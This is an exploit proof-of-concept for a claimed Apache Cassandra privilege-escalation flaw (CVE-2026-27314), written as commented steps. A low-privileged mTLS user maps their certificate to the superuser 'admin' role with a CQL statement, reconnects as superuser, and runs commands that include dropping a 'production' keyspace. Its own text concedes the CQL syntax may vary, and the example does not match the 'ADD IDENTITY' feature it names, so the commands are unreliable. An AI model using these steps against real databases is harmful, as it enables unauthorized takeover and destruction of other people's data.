CVE-2026-27314 Apache Cassandra 权限提升漏洞

# Exploit Concept for CVE-2026-27314 # Prerequisite: Access to Cassandra with mTLS enabled and a user with 'CREATE' permission. # 1. Connect as the low-privileged user (e.g., 'attacker') # The client presents a valid certificate mapped to 'attacker'. # 2. Execute the privilege escalation command # Using the 'ADD IDENTITY' functionality to link the attacker's certificate # to a target superuser role (e.g., 'admin'). # Syntax may vary based on specific Cassandra implementation, but conceptually: # CQL Query Example: # ALTER ROLE admin WITH IDENTITY = 'attacker_certificate_identity'; # 3. Disconnect and Re-authenticate # Reconnect using the same client certificate. # The server now authenticates the user as 'admin' (superuser) # instead of 'attacker'. # 4. Verify Access # Now running commands with Superuser privileges: # CREATE KEYSPACE exploit_test ...; # DROP KEYSPACE production ...;
